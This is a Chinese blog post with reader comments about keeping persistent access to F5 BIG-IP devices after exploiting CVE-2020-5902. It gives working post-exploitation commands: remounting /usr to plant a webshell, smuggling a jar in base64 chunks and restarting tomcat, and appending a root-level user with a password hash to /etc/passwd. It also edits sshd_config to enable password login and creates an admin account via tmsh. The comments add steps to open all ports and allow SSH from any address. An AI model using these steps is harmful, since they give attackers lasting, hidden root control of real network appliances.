CVE-2020-5902 权限维持

RCE很多,但是想权限维持很难

起因

这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。

写webshell

web路径在/usr/local/www/tmui下,但是默认路径会被redict到login.jsp,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/下面,当然直接写过去肯定是不行的,因为/usr权限是ro。

访问webshell

我们得执行mount -o remount rw /usr重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的

13463bd115d3d229196685b53bdb8a5a72bb36a6_2_690x282.png
13463bd115d3d229196685b53bdb8a5a72bb36a6_2_690x282.png
,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib,放到这下面。

如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar,由于网络/exp的缘故,成功率十分的感人。

之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat就行。

提权

提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd 这样我们就能在冰蝎用控制台直接su提权了

如果ssh允许出网

那么简单许多了,ssh配置路径在/config/ssh/sshd_config
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改

sed -i "s/UsePAM yes/UsePAM no/g"  /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g"  /config/ssh/sshd_config
service sshd restart

然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了

如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password baka@bie123 partition-access add { all-partitions { role admin } },运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行

添加新评论

已有 3 条评论

/etc/passwd 写入权限从哪里搞到的。。

⑨BIE ⑨BIE 回复 @晨旭

程序默认就是运行在root权限下的

帮鳖补充一下最后那个命令
添加完用户之后到 Network - Self IPs - 对应IP - Port Lockdown - Allow All
然后SSH可能有限制范围,到 System - Platform - SSH IP Allow 里面加上0.0.0.0/0就差不多了